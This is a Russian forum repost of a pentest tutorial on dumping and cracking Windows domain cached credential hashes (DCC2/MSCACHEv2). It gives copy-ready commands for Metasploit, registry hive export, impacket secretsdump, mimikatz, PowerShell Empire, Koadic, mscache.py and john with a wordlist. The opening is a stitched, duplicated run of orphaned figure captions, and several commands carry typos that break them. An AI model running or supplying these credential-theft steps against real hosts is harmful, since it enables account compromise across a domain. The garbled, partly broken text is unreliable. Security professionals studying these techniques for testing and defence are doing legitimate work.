Автор: Raj Chandel
В этой статье будет рассмотрена атака с целью получения учетных записей из кэша домена и различные техники для извлечения хэшей паролей через эксплуатацию пользователя домена.
Существует две версии MSCASH/MSCACHE (или DCC):
По результатам отработки модуля выгружаются хэши паролей из DCC2/MSCACHE, как показано на рисунке ниже:
Далее скопируйте полученные файлы туда, где установлен impacket. В нашем случае копирование происходит в систему с Kali Linux. Затем для извлечения DCC2/MSCACHE хэшей используем следующую команду:
Результат отработки скрипта показан на рисунке ниже:
Результат выполнения вышеуказанных команд показан на рисунке ниже:
Результаты работы модуля по выгрузке MSCACHEv2 хэшей показаны на рисунке ниже:
Результаты работы этого модуля показаны на рисунке ниже:
Результаты работы скрипта показаны на рисунке ниже:
В результате получаем пароль в открытом виде для указанного хэша. Старайтесь не путаться между понятиями DCC2 и MSCACHEV2/MSCASH. Эти хэши идентичные и могут извлекаться при помощи вышеуказанных техник.
взято с securitylab
В этой статье будет рассмотрена атака с целью получения учетных записей из кэша домена и различные техники для извлечения хэшей паролей через эксплуатацию пользователя домена.
Domain Cache credential (DCC2)
Microsoft Windows хранит информацию о предыдущей авторизации пользователей локально. Соответственно, эти сведения используются в случае, если сервер авторизации (logon server) окажется недоступным. Эта технология носит название Domain Cache credential (или по другому MSCACHE или MSCASH хэш), которая сортирует хэши паролей пользователей, чтобы вы не смогли выполнить атаки навроде pass-the-hash. Для генерации хэшей используется алгоритм MSCACHE, хранящихся локально в реестре операционной системы Windows (по умолчанию, последние 10 хэшей).Существует две версии MSCASH/MSCACHE (или DCC):
- MSCACHEV1 или DCC1, используемый до Vista и Server 2003
- MSCACHEV2 или DCC2, используемый после Vista и Server 2003
Metasploit
Metasploit – первый инструмент в нашем списке, помогающий пентестеру извлекать MSCACHE хэши, хранимые в реестре. Соответствующий модуль извлекает хэши домена, которые были закэшированы в результате настройки групповой политики (GPO). По умолчанию Windows хранит информацию о 10 последних успешных авторизаций:
Код:
use post/windows/gather/cachedump
set session 2
exploit
Impacket
Этот тип хэшей также можно извлечь при помощи Python и библиотек impacket. Перед использованием данной техники следует сохранить ветви реестра system и security на локальной машине при помощи следующих команд:
Код:
reg save hklm\system c:\system
reg save hklm\security c:\secuirty
Далее скопируйте полученные файлы туда, где установлен impacket. В нашем случае копирование происходит в систему с Kali Linux. Затем для извлечения DCC2/MSCACHE хэшей используем следующую команду:
Код:
python secretsdump.py -security -system system LOCAL
Mimikatz
Ни для кого не секрет, что mimikatz – одна из наилучших утилит в арсенале пентестера для извлечения учетных записей в ОС Windows. С целью извлечения DCC2 / MSCACHEv2 хэшей необходимо установить mimikatz на скомпрометированной машине и выполнить следующую команду:
Код:
privilege::debug
token::elevate
lsadump::cache
PowerShell Empire
Переходим к следующей технике. В PowerShell Empire есть модуль для извлечения MSCACHEV2 хэшей из реестра скомпрометированной машины. Загрузите и запустите Empire в вашей локальной системе, скомпрометируйте целевой хост с целью использования пост-модуля, а затем введите следующую команду:
Код:
usemodule credentails/mimikatz/cache
set agent <agent_id>
execute
Koadic
Как и в случае с Powershell Empire, вы можете использовать утилиту Koadic для извлечения DCC2 хэшей при помощи следующего модуля:
Код:
use mimikatz_dotnet2js
set MIMICMD lsadump::cache
Python скрипт
Как и в примере с impacket вы можете воспользоваться скриптом mscache.py для извлечения MSCACHEV2 хэшей. Загрузите скрипт с github, и во время запуска в качестве параметров укажите пути к выгруженным файлам (как рассматривалось в разделе с impacket):
Код:
python mscache.py --security /root/Desktop/security –system /root/Desktop/system
Расшифровка полученных хэшей
Как мы уже знаем, эти хэши не используются во время атак pass the hash, и нам нужна утилита john the ripper для расшифровки:
Код:
john --format=mscasch2 --wordlist=/usr/share/wordlists/rockyou.txt mhash
взято с securitylab